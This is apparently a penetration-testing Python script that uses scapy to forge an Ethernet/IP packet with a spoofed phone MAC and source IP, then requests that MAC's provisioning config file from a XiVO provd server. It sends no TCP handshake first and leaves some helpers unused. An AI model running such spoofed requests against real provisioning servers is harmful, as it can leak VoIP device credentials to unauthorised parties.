Xivo provd check

xivo_provd_check.py

#!/usr/bin/env python
# -*- coding:Utf-8 -*-

#=====================================#
# [+] Title:   Xivo provd check       #
# [+] Author:  Baptiste M. (Creased)  #
# [+] Website: bmoine.fr              #
# [+] Email:   [email protected]      #
# [+] Twitter: @Creased_              #
#=====================================#

import struct, logging
logging.getLogger('scapy.runtime').setLevel(logging.ERROR)
from scapy.all import *

def p(x):
    return struct.pack('<L', x)

def x(s):
    s = s.encode('hex')
    s = [s[i:i + 2] for i in range(0, len(s), 2)]
    x = ''
    for c in s:
        x += str('\\') + 'x' + str(c)
    return x

opts = {
    'verbose': 0,
    'eth': {
        'iface': 'eth0',
        'dst':   '00:50:56:9d:25:ac',
        'src':   '00:04:f2:bb:f6:f7'
    },
    'ip': {
        'dst': 'xivo.miletrie.chl',
        'src': '172.28.128.200'
    },
    'tcp': {
        'sport': random.randint(1024,65535),
        'dport': '8667'
    },
    'http': {
        'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0'
    }
}

# conf.iface = opts['eth']['iface']
conf.verb  = opts['verbose']

eth      = Ether()
eth.dst  = opts['eth']['dst']
eth.src  = opts['eth']['src']
eth.type = 0x800

ip       = IP()
ip.dst   = opts['ip']['dst']
ip.src   = opts['ip']['src']
ip.proto = 6
ip.flags = 'DF'
ip.ttl   = 128

tcp = TCP()
tcp.sport = opts['tcp']['sport']
tcp.dport = opts['tcp']['dport']

raw = Raw()
load = 'GET /{0}.cfg HTTP/1.1\r\n'.format(''.join(opts['eth']['src'].split(':')))
load += 'Host: {0}:{1}\r\n'.format(opts['ip']['dst'], opts['tcp']['dport'])
load += 'User-Agent: {0}\r\n'.format(opts['http']['user-agent'])
load += 'Connection: close\r\n'
load += '\r\n'
raw.load = load

packet = eth/ip/tcp/raw
packet.show()

reply = sendp(packet)